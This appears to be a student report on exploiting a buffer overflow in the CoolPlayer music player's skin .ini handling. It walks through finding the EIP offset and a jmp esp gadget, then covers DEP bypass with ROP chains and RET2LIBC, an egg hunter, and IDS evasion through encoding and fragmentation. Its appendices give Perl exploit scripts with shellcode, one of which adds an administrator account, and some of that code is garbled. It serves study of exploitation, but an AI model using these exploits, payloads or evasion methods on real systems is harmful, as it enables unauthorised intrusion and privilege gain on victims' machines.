

Exploit Development

Exploiting a Music Player

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Note that Information contained in this document is for educational purposes.

Abstract

This report aims to investigate a music player application in an attempt to find vulnerabilities and evaluate the extent to which they can be exploited through buffer overflows. As well as a discussion on Intrusion Detection Systems and how they can possibly be evaded.

The methodology was made up of identification of and proof of flaw. Following that a proof-of-concept (calculator) and an advanced exploit (adding an admin account to the victim's PC) were developed and demonstrated. This was initially done with DEP disabled for the application and then with DEP enabled it was attempted to be overcome using two techniques, ROP Chains and RET2LIBC.

In the application the skin functionality was investigated where an exploit was found. This exploit allowed for malicious exploitation of a buffer overflow. This was able to be exploited with both DEP disabled and enabled.

Contents

1	Inti	roduction	3			
	1.1	Background	3			
2	Pro	cedure	7			
	2.1	DEP On	7			
	2.1.1	Identification and Proof of Flaw	7			
	2.1.2	Proof of Concept	9			
	2.1.3	Advanced Exploit	10			
	2.1.4	Egghunting	12			
	2.2	DEP On	13			
	2.2.1	ROP Chains	14			
	2.2.2	RET2LIBC	16			
3	Dis	cussion	18			
	3.1	Evading Intrusion Detection Systems	18			
	3.2	Conclusions	18			
	3.3	Future Work	19			
R	References					
A	ppend	ices	21			
	Appendix A – Perl Scripts (DEP Off)					
	Appendix B – Perl Scripts (DEP On)					

1 INTRODUCTION

1.1 BACKGROUND

A buffer overflow is a common vulnerability which can allow attackers to perform malicious actions such as code execution. To understand how a buffer overflow attack works an understanding of how low-level Windows memory architecture works must first be covered.

When a program is run, the OS puts the program and its variables into memory. Using virtual memory address translation, the physical addresses are mapped to virtual addresses. Certain ranges of memory address are used for different things. As can be seen in Figure 1, these are the kernel area, the stack, the heap and data and text (Coen Goedegebure, 2018).



Figure 1. Diagram of Process Memory layout (Coen Goedegebure, 2018).

The top area, the kernel, contains the command line arguments and the environment variables for the program.

The text area in memory also known as the code segment is the place in memory which contains the code of the program. It is often read-only to prevent any modifications to the code, accidental or not.

Above the text section is the data which can be further split into the BSS and the data areas. The BSS and the data segments are used for uninitialized and initialized variables, respectively.

The heap is made for dynamic memory allocation (variables whose size is known only during runtime).

The key area for buffer overflows is the stack. This holds the local variables used by the functions of the program. When a function is called, a stack frame, which can be seen in Figure 2, is pushed onto the top of the stack containing various values such as the return address, the base pointer and a buffer. Stack frames are added to the stack using a last in, first out order meaning the latest frames added are the first to be removed.



high memory address

Figure 2. Diagram of a Stack Frame (Coen Goedegebure, 2018).

Another key piece of required knowledge is registers. There are a number of registers that are used to help. The EBP (Base Pointer) is used in the stack frame, it is set to the value of the ESP (Stack Pointer) when the function is called. The stack pointer is simply a pointer to the top of

the stack as seen in Figure 3 below. The return address in the stack frame is another pointer which is set to the next instruction to be executed after the function, this tells the EIP (Instruction Pointer) what to run after the function has completed.

Register Name	Purpose
EAX (Accumulator Register)	Used in arithmetic operations
EBX (Base register)	Used as a pointer to data (located in segment register DS, when in segmented mode).
ECX (Counter Register)	Used in shift/rotate instructions and loops
EDX (Data Register)	Used in arithmetic operations and I/O operations.
ESP (Stack Pointer register)	Pointer to the top of the stack.
EBP (Stack Base Pointer register)	Used to point to the base of the stack.
ESI (Source Index register)	Used as a pointer to a source in stream operations.
EDI (Destination Index register)	Used as a pointer to a destination in stream operations.
EIP (Instruction Pointer)	The EIP register contains the address of the next instruction to be executed

Figure 3. Relevant Registers (wikibooks, 2020).

The vulnerability occurs when data pushed onto the stack is larger than the memory it was allocated, allowing it to overwrite memory. The attacker can then craft the input to perform malicious attacks. For example, if the program had allocated 50 bytes for user input but the user instead input a 54 A's (4 bytes to overwrite the base pointer) followed by an address which would overwrite the return address, the attacker can gain control of the EIP. The attacker could also shellcode after and overwrite the return address and point the EIP to the shellcode once the function returns, it would return to the overwritten address which would then execute the presumably malicious shellcode.

There are multiple techniques employed in an attempt to prevent code execution and the exploitation of buffer overflows. One method, DEP (Data Execution Prevention) prevents the execution on the stack. DEP, however, can be bypassed in a few ways. One way is through the use of Return-Oriented Programming (ROP). This is where the attacker crafts code by chaining

various "ROP gadgets" (slices of code from various libraries which return) together. ROP Chains can even be used to disable DEP entirely.

Another method to bypass DEP is RET2LIBC or Return to C Library. This works by creating code that calls specific addresses, as the name suggests, in the C Library. One of the common functions used is the WinExec. The C Library is executable and since it's not using shellcode, DEP fails to prevent RET2LIBC attacks.

2.1 DEP ON

2.1.1 IDENTIFICATION AND PROOF OF FLAW

A flaw was found in the skin functionality of the media player using ini files. Using Perl an ini file was crafted, found under "crash1.pl" in Appendix A. Each .ini required the text "[CoolPlayer Skin] PlaylistSkin=" to work with the media player. The Perl script made the ini file with the required text and 3000 A's. The media player was then attached to OllyDBG and when the ini file was entered it caused an access violation and, as be seen in Figure 4, overwrote the EIP with A's. This revealed the vulnerability that could possibly be exploited. If 3000 A's failed to overwrite the EIP the number of A's would've been increased.



Figure 4. Overwritten EIP.

The next step was to find the distance to the EIP/size of the buffer so the EIP could be controlled. This was done using the program pattern_create and pattern_offset. Pattern_create allows for a pattern to be created for a specified character length to help identify the distance. This was done using the command "pattern_create.exe 3000 > pattern.txt" which would output the pattern into pattern.txt.

This pattern was used instead of the 3000 A's, the Perl file "crash2.pl" can be found in Appendix A. When this ini file was entered the EIP had a value of 69423869 as can be seen in Figure 5.

Regis	ters (FF	PU)			<	<	<	<
EAX 4 ECX 0 EDX 0 FBX 0	1376742 00008D5 0150608							
ESP 0	011F20C	ASCII	"9Bj0Bj1B	j2Bj3Bj4	Bj5Bj6Bj	i7Bj8	Bj9Bk(0Bk 1Bk
ESI Ø EDI Ø	011F214 012E0A0	ASCII	″j2Bj3Bj4	Bj5Bj6Bj	7Bj8Bj9E	kØBk:	1Bk2Bl	k 3Bk 4E
EIP 6	9423869							
C 0 P 0 A 1 S 0 D 0	ES 0023 CS 001B SS 0023 DS 0023 FS 003B GS 0000	32bit 32bit 32bit 32bit 32bit NULL	0(FFFFFFF 0(FFFFFFFF 0(FFFFFFFF 0(FFFFFFFF	F) F) F) FFF)				
00	LastErr	ERROR	SUCCESS ()	00000000)			
EFL 0	0010246	(NO,NE	B,E,BE,NS,I	PE,GE,LE)			
STØ e ST1 e ST2 e ST3 e ST4 e	mpty -? mpty -? mpty -? mpty -? mpty -?	?? FFFF ?? FFFF ?? FFFF ?? FFFF ?? FFFF	- 00FFFFFF - 00000000 - 000000EE - 000000EB - 03EEEEEE	00FFFFF 00000000 00EE00E 00FB00F 10E4E5E	F Ø E 8 6			

Figure 5. EIP Value from pattern_create's pattern.

The distance to the EIP was then found to be 1045 using the program pattern_offset with the command "pattern_offset.exe 69423869 3000" that can be seen below in Figure 6.

```
C:\Documents and Settings\Administrator\Desktop\Coursework>pattern_offset.exe 69
423869 3000
C:/DOCUME~1/ADMINI~1/LOCALS~1/Temp/ocrF.tmp/lib/ruby/1.9.1/rubygems/custom_requi
re.rb:36:in `require': iconv will be deprecated in the future, use String#encode
instead.
1045
```



The tools, pattern_create and pattern_offset, were used again to find how much room there was for shellcode. Using the tools, a pattern of 10000 was created and entered into a variation on crash2.pl, which can be found under crash3.pl. Using the OllyDBG the last pattern on the stack was used, "Mv2M" as can be seen in Figure 7. This was then used with pattern_offset and was found to be the last pattern in the 10000-character pattern. The space for shellcode was not tested further as 10000 was more than enough to create a proof-of-concept and an advanced exploit.

001218F8 33754D32 2003 001218FC 4D34754D Mu4M 00121900 754D3575 u5Mu 00121904 37754D36 6Mu7 00121908 4D38754D Mu8M 00121908 4D38754D Mu8M 00121908 4D38754D Mu8M 00121908 4D38754D Mu8M 00121908 31764D30 0Mv1 00121910 31764D30 0Mv1 00121914 4D32764D Mv2M 00121918 00000000 00121918 00000000 00121918 00000000
--

Figure 7. 10000-character pattern result

2.1.2 PROOF OF CONCEPT

With this information a proof of concept exploit can be developed. For this example, when the ini file would be opened, a calculator would be run.

A test with 1045 A's was run, crash4.pl in Appendix A. The result of this can be found in Figure 8. 42424242 (BBBB) is where our pointer to our shellcode would go and 43434343 (CCCC) onwards would be our shellcode. As the memory address of the start of our shellcode contained a null byte, it can't just be jump to. Instead a "jmp esp" has to be found and used from a dll that the program is using.



Figure 8. Result of crash4.pl

For this, kernel32.dll and the tool findjmp were used. In Figure 9, kernel32.dll was searched for a jump to ESP using the command "findjmp.exe kernel32.dll esp" which found 3 usable addresses, 0x7C86467B was chosen.

C:\Documents and Settings\Administrator\Desktop\Coursework>findjmp.exe kernel32 dll esp
Findjmp, Eeye, I2S-LaB Findjmp2, Hat-Squad Scanning kernel32.dll for code useable with the esp register 0x7C8369F0 call esp 0x7C868667 jmp esp 0x7C868667 call esp Finished Scanning kernel32.dll for code useable with the esp register Found 3 usable addresses

Figure 9. findjmp result.

This address would then replace the BBBB's in crash4.pl which would overwrite the EIP so that when it is popped it returns to the shellcode which would be placed after the address. 16 NOP's were also added before the shellcode as padding. No character-filtering had to be avoided. The complete Perl code for this can be found in Appendix A under "crashcalc.pl" and the result can be seen in Figure 10.



Figure 10. crashcalc.pl result.

2.1.3 ADVANCED EXPLOIT

MSFGUI (Metasploit Framework Graphical User Interface) was used to generate an advanced exploit payload. This was done by navigating to payloads, then under Windows the relevant payloads can be found. For this example, adduser was selected, this by default creates a user account named Metasploit

with the password Metasploit and adds the account to the administrator group on the victim's PC. As can be seen in Figure 11, the payload was encoded in x86/alpha_upper and outputted in Perl format. This then simply replaces the calculator shellcode in crashcalc.pl and can be found under crashadvanced.pl in Appendix A.

M Windows Execute net user //	ADD windows/adduser			
Windows Execute n	et user /ADD			
Rank: Normal				
Description Create a new user	and add them to local a	administration group		
Authors: hdm , vlad902 , sf				
License: Metasploit Framework	License (BSD)			
Version: 13053, 9179				
VERBOSE Enable detailed state	us messages			
WORKSPACE Specify the works	space for this module	default		
EXITFUNC Exit technique: seh, t	hread, process, none	process		
PASS The password for this us	er	metasploit		
USER The username to create		metasploit		
Generate 🔾 display 💿	encode/save Start	handler Start handler in console		
Output Path ne	ents and Settings\Admin	nistrator\Desktop\Coursework\adduser.txt	Choose	
Encoder	86/alpha_upper			
Output Format	erl		•	
Number of times to encode				
Architecture				
(win32 only) exe template			Choose Choose	ep template working?
(win32 only) add shellcode			Choose	

Figure 11. adduser screen on MSFGUI.

The result of this exploit can be found below in Figure 12. Under the accounts on the PC is an admin account named "metasploit" which can be logged in with the password "metasploit".



Figure 12. User Accounts on Victim's PC.

2.1.4 EGGHUNTING

When exploiting buffer overflows, there is sometimes a lack of space for shellcode. One way to circumvent this issue is through the use of a technique called egg hunting. This consists of a piece of shellcode, the egg hunter, which searches through memory to find a tag that indicates the start of the malicious shellcode and then executes it.

Whilst this was not required for this application, the concept can still be proven. For this another proofof-concept was developed. Using a 32byte egg hunter developed by the Corelan Team (Corelan Team, 2010). A 200 NOP buffer was used to split the egg hunter and egg to show how it would work. This egg hunter uses the tag "w00t" which was placed before the previous used calculator shellcode in the ini file, this can be seen under egghunter.pl in Appendix A. For this proof-of-concept the amount of A's had to be lowered by 10 to 1035 as the previous distance to EIP was causing errors.

2.2 DEP ON

For the following sections, DEP was enabled, which is done by going to System Properties, navigating to Advanced and then Performance Settings and on the DEP tab, selecting "Turn on DEP for all programs and services..." like in Figure 13.

System Properties	Performance Options	<u>?</u> ×
System Restore Automatic Updates Remote General Computer Name Hardware Advanced	Visual Effects Advanced Data Execution Prevention	
You must be logged on as an Administrator to make most of these changes. Performance Visual effects, processor scheduling, memory usage, and vitual memory Settings	Data Execution Prevention (DEP) helps protect against damage from viruses and other security threats. How does it work?	
User Profiles Desktop settings related to your logon Settings	Adobe Reader 9.1	-
Startup and Recovery System startup, system failure, and debugging information Settings		
Environment Variables Error Reporting	Add Remove	
OK Cancel Apply		
player.ini Shortcut to OLLYDBG.EXE	OK Cancel App	ply

Figure 13. DEP enabled.

Now whenever any of the previous exploits, the error in Figure 14 is shown.



Figure 14. DEP Error Message.

Whilst DEP makes the stack non-executable, there are multiple ways to circumvent/disable this.

2.2.1 ROP CHAINS

A common way to bypass/disable DEP is through the use of ROP Chains. This was done with the python file mona.py, developed by the CoreLan team. This a python script that runs with Immunity Debugger and WinDBG and is used to help automate and speed up searches whilst developing exploits. To install Mona, Mona.py is simply copied/moved to the Immunity Debugger installation.

One of the pieces of information that is needed is an address of a RETN instruction which will be used to start the ROP Chain. To get this the command "Imona find -type instr -s 'retn' -m msvcrt.dll -cpb '\x00\x0a\x0d'" was used as seen in Figure 15. This command searches for a RETN instruction in the msvcrt module and skips any that include NULL, Line Feed and Carriage Returns. The results of this command can be found under find.txt in the Immunity Debugger installation folder. The only usable addresses are the ones marked "PAGE_EXECUTE_READ". For this the address "0x77c1258a" was chosen.

00474030 rs FR PUBL <	< < <	< <
00476451 . 68 EEG4708 PUGH (4FF,4F9(4FF), ercept_handler3) SE handler installation EEK 7FFG/D00 00476454 . 64411 (080000 m/) EEK,0000 PTR 581(0) EEK 00476454 . 60 00476454 . 60 00476454 . 60 00476454 . 6454 49 005 00000 UB EEK 00476454 . 655 00700 PTR 581(0),ESP		
04474560 1 55 CPUSH ESK CHUB HEAL 04474561 55 CPUSH ESI 04474562 1 57 PUSH ESI 04474562 1 5855 ESE PUSH ESI		
04746780 - 6692 04000 PDG/UNAU PTK SSILED=01,0 0		
0 0 Lasterr EROD_THULLD_HHRLLE (00000006) 047/6767 PT ESCENDE VILLOUHR Fol USING FROM 047/6767 PT ESCENDE VILLOUHR FOL USING FROM (00000006) 047/6767 L 9800 40054260 TUU EX, MURD PT Sol (47664/1) 047/6768 L 9800 40054260 TUU EX, MURD PT Sol (47664/1) 047/6788 L 9800 40054260 TUU EX, MURD PT Sol (47664/1) 047/6788 L 9800 40054260 TUU EX, MURD PT Sol (47674/1) 047/6788 L 9800 40054260 TUU EX, MURD PT Sol (47674/1) 047/6788 L 9800 40054260 TUU EX, MURD PT Sol (47674/1) 0407/6788 L 9800 40054260 TUU EX, MURD PT Sol (47674/1) 0407/6788 L 9800 40054260 TUU EX, MURD PT Sol (47674/1) 0407/6788 L 9800 40054260 TUU EX, MURD PT Sol (47674/1) 0407/6788 L 9800 40054260 TUU EX, MURD PT Sol (47674/1) 0407/6788 L 9800 40054260 TUU EX, MURD PT Sol (47674/1) 0407/6788 L 9800 40054260 TUU EX, MURD PT Sol (47674/1)		
0437/5683 1 FFI5 5820+EP30 0410-174 0517/2415 0417 0517/2415 0417 0517/2415 0517 0517/2415 0517 0517/2415 0517 0517/2415 0517 0517/2415 0517 0517/2415 0517 0517/2415 0517 0517/2415 0517 0517/2415 0517 0517/2415 0517 0517/2415 0517 0517 0517/2415 0517 0517 0517/2415 0517		
0477649F - 5900 BS224200 HOU WORD PTR US1472809.ECX \$17 2 + 0517 \$17 2 + 0517 0477649F - 5900 BS224200 HOU WORD PTR US1472809.ECX \$17 2 + 0517 \$17 2 + 0517 0477649F - 5930 200542600 HP WORD TO 15 + 0517 4001 (4000 PT - 051700 PT - 050 PT -		
Detropher - Fris Balanze fin Under FK Usit StrookfUsetuserk foukfUsetuserkatherr Detropher - Fris Balanze fin Under FK Usit StrookfUsetuserkatherr Detropher - Se detspace FUSI Fills, Detropher - Setuserkatherr Detropher - Se setzetade FUSI Fills, Detropher - Setuserkatherr		
06474676 1 854 68500 #00 589 statschnuz_inttern/ 08474676 851 436400 PUL EXC, MONRO PTR 551 (25644) 08474676 1 8951 434640 PUL EXC, MONRO PTR 551 (256+62) 08474676 1 9855 44 FUL DURKED PTR 551 (256+62)		
004742E5 3000 40044200 100 CC 000R0 PTR 05144706403 004742EC 1 8055 9C LEA EXX, MURRO PTR 5514570-403 004742EC 1 8055 9C LEA EXX, MURRO PTR 5514570-403		
BALTANES - BEN 50 BALTANES - BEN 50 BALTANES - BAND 20 BALTANES - BAND 20 BALTANES - BALTANES - BALTANES - BALTANES - BALTANES - BALTANES BALTANES - FELS 480-CHI - MAR - BE SC (14) BALTANES - BALTANES - BALTANES BALTANES - FELS 480-CHI - MAR - BE SC (14) BALTANES - BALTANES - BALTANES BALTANES - BALTANES - BAL		
HOLTES INK OUND HOLLI HOLLI CONTROLOGIO DE CONTROL DE C		
existêncie de		

Figure 15. Mona finding RETN instructions.

The next step is to create a ROP Chain. Mona.py can also be used to generate ROP chains. The command to do this "!mona rop -n -m msvcrt.dll -cpb '\x00\x0a\x0d'" can be seen below. This command places the results in rop.txt and rop_chains.txt in the same place as find.txt. rop.txt contains useful ROP gadgets if the ROP Chain is to be built manually. Instead, rop_chains.txt was used which provides ROP chains that mona.py attempted to build. Many are not completed but VirtualAlloc() is, the pre-built chain in Python was then translated to Perl and used in a script with the RETN address, this can be found under ropchain.pl.



Figure 16. Mona used to find ROP Chains.

This surprisingly failed to bypass DEP. However, when ran through OllyDBG the cause was found. By putting a breakpoint at the RETN instruction and analysing the ROP Chain it appeared that the program was filtering the input. Two address, "2CFE1467" and "2CFE04A7" were being changed to start with '20' instead of '2C'. This was proven to be the issue by modifying the addresses back to the original after the breakpoint was reached in OllyDBG which allowed for a calculator to be started despite DEP being enabled. This can be seen in Figure 17 and 18.

0011F20C	77C32A3F	msvort.77C32A3F
0011F210	77C32A3F	msvort.77C32A3F
0011F214	77C47653	msvort.77C47653
0011F218	FFFFFFFF	
0011F21C	77C127E5	msvort.77C127E5
0011F220	77C127E5	msvort.77C127E5
0011F224	77C34FCD	msvort.77C34FCD
0011F228	20FE1467	
0011F22C	77C4EB80	msvort.77C4EB80
0011F230	77C58FBC	msvert.77C58FBC
0011F234	77C34DE1	msvert.77C34DE1
0011F238	20FE04A7	
0011F23C	77C4EB80	msvort.77C4EB80
0011F240	77C14001	msvort.77C14001
0011F244	77C47A26	msvort.77C47A26
0011F248	77C47A42	msvort.77C47A42
0011F24C	77C46EFB	RETURN to msvort.77C46EFB from D7A7E3FD
0011F250	77C2AACC	msvort.77C2AACC
0011F254	77C21D16	msvort.77C21D16
0011F258	77C1110C	<&KERNEL32.VirtualAlloc>
0011F25C	77C12DF9	msvort.77C12DF9
0011F260	77C35459	msvort.77C35459
0011F264	90909090	

Figure 17. Input being filtered.



Figure 18. Calculator being run with DEP enabled.

2.2.2 RET2LIBC

One-way buffer overflows can be exploited to execute code even with DEP enabled is a method called RET2LIBC, previously discussed.

Another calculator proof-of-concept was developed with this exploit. This exploit requires crafting the stack with various variables address of WinExec, address of ExitProcess and pointer to command line values. The tool arwin was used to find the address of WinExec and ExitProcess in kernel32.dll as can be seen in Figure 19.



Figure 19. Arwin finding WinExec and ExitProcess addresses.

The next step was to craft an ini file containing our DOS command "cmd \c calc&" that WinExec will run so that the address of it could be found in the buffer. This was done using ret2libc1.pl that can be found in Appendix B. Using OllyDBG to put a breakpoint at the address of WinExec and doing a binary string

search for "cmd \c" the address was found to be "0011EDF7". Note, that in the development of this the distance to EIP of 1045 previously discovered caused some errors and was reduced to 1041 which solved any issues.

From here the proof-of-concept could be made by simply adding the discovered address. The Perl file to create the ini file can be found under ret2libc2.pl in Appendix B. Similarly, to the other proof-of-concept, this exploit can be developed further to cause more serious damage such as adding admin accounts.

3 Discussion

3.1 EVADING INTRUSION DETECTION SYSTEMS

An intrusion detection system (IDS) is a device or software that is used to monitor a network for malicious activity. The two main detection methods are signature-based and anomaly-based. Signature-based works by looking for specific patterns of bytes that are known to be malicious. Anomaly-based works by building a baseline of normal activity on the device and any out of the ordinary activity is marked as anomalous and blocked. (Mujumdar, Masiwal and Dr Meshram, 2013). Both types have their pros and cons. Signature-based rely on previous known patterns and so are often susceptible to zero-days or obfuscation. Whilst anomaly-based systems can prevent attacks from previously unknown malware it can also run into false positives.

One way a signature detection system could be avoided is through the use of encoding and encryption. Whilst some IDS will match signatures that have been encoded, the Metasploit framework encoder, "Shikata Ga Nai" which is a polymorphic XOR encoder meaning it would encode the same shellcode differently each time makes it a lot harder for patterns to be matched (spoonm, 2018).

A useful technique which can help bypass anomaly-based is fragmentation. This is simply breaking an attack into multiple parts. This could be easily implemented by simply expanding on the egg hunter attack to create an omelette egg hunter (i.e. an egg hunter attack with multiple 'eggs'). Fragmentation would make it hard for the IDS to piece together what the attack is doing, the attack could also create junk shellcode that does nothing slowing down the IDS to the point that the attack may be executed (Carlo, 2003).

3.2 CONCLUSIONS

In conclusion, the music player was found to be exploitable by buffer overflow attacks through the skin functionality. Allowing an attack ranging from simply opening a calculator to malicious attacks such as adding admin accounts or even creating a reverse shell.

Whilst ROP Chains failed to be leveraged to avoid DEP mitigation without being run in a debugger, DEP was still proven to be possible to evade with techniques such as RET2LIBC. It is also possible with more investigation and research ROP chains could work to disable DEP.

Overall, the application was proven vulnerable even with protections such as DEP in place. As well as this other mitigation evasions were investigated and discussed.

3.3 FUTURE WORK

If given more time, one of the areas that would be further researched would be the other inputs available in the program such as the playlist functionality. Whilst it was looked at and failed to show any vulnerability, it is still likely that it can be exploited with more investigation.

One of the issues that was encountered was that the distance to EIP would change throughout development. Through trial and error this was solved and did not become a large issue, but it would be valuable to investigate and know why this was the case and what was causing it.

Another area would be ROP Chains, given more time, more research would have been done into the apparent filtering done. This would hopefully have resulted in ROP Chains being able to disable DEP and allow for malicious attacks to be performed on the application even with mitigations in place.

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APPENDICES

APPENDIX A – PERL SCRIPTS (DEP OFF)

crash1.pl

```
$file= "crash.ini";
$buffer = "[CoolPlayer Skin]\nPlaylistSkin=";
$buffer .= "A" x 3000;
```

open(\$FILE,">\$file");
print \$FILE \$buffer;

crash2.pl

\$file= "crash.ini";

```
$buffer = "[CoolPlayer Skin]\nPlaylistSkin=";
Chuffer = "
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\$buffer .=

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open(\$FILE,">\$file");
print \$FILE \$buffer;

crash3.pl

\$file= "crash.ini";

\$buffer = "[CoolPlayer Skin]\nPlaylistSkin="; \$buffer .= "A" x 1045; \$buffer .= "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4A c5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0 Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap 3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8A r9as0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4 Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax 0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5A z6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1 Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be 7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B 4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9B p0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5 w7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2 Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb 8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3C e4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9 ch0ch1ch2ch3ch4ch5ch6ch7ch8ch9ci0ci1ci2ci3ci4ci5ci6ci7ci8ci9cj0cj1cj2cj3cj4cj 5cj6cj7cj8cj9ck0ck1ck2ck3ck4ck5ck6ck7ck8ck9c10c11c12c13c14c15c16c17c18c19cm0c m1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6 Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr 9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4D b5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0 De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg j2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9D10D11D12D13D14D15D16D17 3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8D q9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4 Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw

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open(\$FILE,">\$file");
print \$FILE \$buffer;

crash4.pl

```
$file= "crash.ini";
$buffer = "[CoolPlayer Skin]\nPlaylistSkin=";
$buffer .= "A" x 1045;
$buffer .= "BBBB";
$buffer .= "CCCC";
$buffer .= "DDDD";
open($FILE,">$file");
print $FILE $buffer;
close;
```

crashcalc.pl

\$file= "crash.ini";

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$buffer = "[CoolPlayer Skin]\nPlaylistSkin=";
$buffer .= "A" x 1045;
$buffer .= pack('V', 0x7C86467B);
$buffer = " \times 90" \times 16;
$buffer .=
"\xda\xd2\xd9\x74\x24\xf4\x5a\x4a\x4a\x4a\x43\x43\x43\x43" ."\x43\x43\x43\x43
5\x50\x43\x30\x43\x30\x43\x50\x4c\x49\x5a\x45\x56" ."\x51\x49\x42\x43\x54\x4c
\x4b\x56\x32\x56\x50\x4c\x4b\x56" ."\x32\x54\x4c\x4c\x4b\x50\x52\x54\x54\x4c\
x4b\x54\x32\x47" ."\x58\x54\x4f\x4f\x47\x51\x5a\x47\x56\x56\x51\x4b\x4f\x47
."\x51\x4f\x30\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x43\x32\x56" ."\x4c\x47\x50\x4
9\x51\x58\x4f\x54\x4d\x45\x51\x49\x57\x5a" ."\x42\x4c\x30\x50\x52\x51\x47\x4c
7\x4c\x47\x39\x4c\x4b\x47\x44\x4c" ."\x4b\x45\x51\x49\x46\x50\x31\x4b\x4f\x50
4\x35\x4d\x32\x50\x58\x4c\x4b\x50\x58\x56" ."\x44\x43\x31\x4e\x33\x43\x56\x4c
\x4b\x54\x4c\x50\x4b\x4c" ."\x4b\x50\x58\x45\x4c\x45\x51\x49\x43\x4c\x4b\x54\
x44\x4c" ."\x4b\x45\x51\x58\x50\x4d\x59\x47\x34\x47\x54\x47\x54\x51" ."\x4b\x
51\x4b\x43\x51\x56\x39\x50\x5a\x50\x51\x4b\x4f\x4b" ."\x50\x50\x58\x51\x4f\x5
0\x5a\x4c\x4b\x52\x32\x5a\x4b\x4c"."\x46\x51\x4d\x52\x4a\x45\x51\x4c\x4d\x4b
43\x51\x52\x4c\x43\x53\x56\x4e\x52\x45\x52\x58\x43" ."\x55\x45\x50\x41\x41";
```

open(\$FILE,">\$file");
print \$FILE \$buffer;

crashadvanced.pl

```
$file= "crash.ini";
```

```
$buffer = "[CoolPlayer Skin]\nPlaylistSkin=";
$buffer .= "A" x 1045;
$buffer .= pack('V',0x7C86467B);
#NOP Padding
$buffer .= "\x90" x 16;
#Advanced Shellcode
$buffer .= "\x89\xe3\xdb\xcb\xd9\x73\xf4\x5e\x56\x59\x49\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b" .
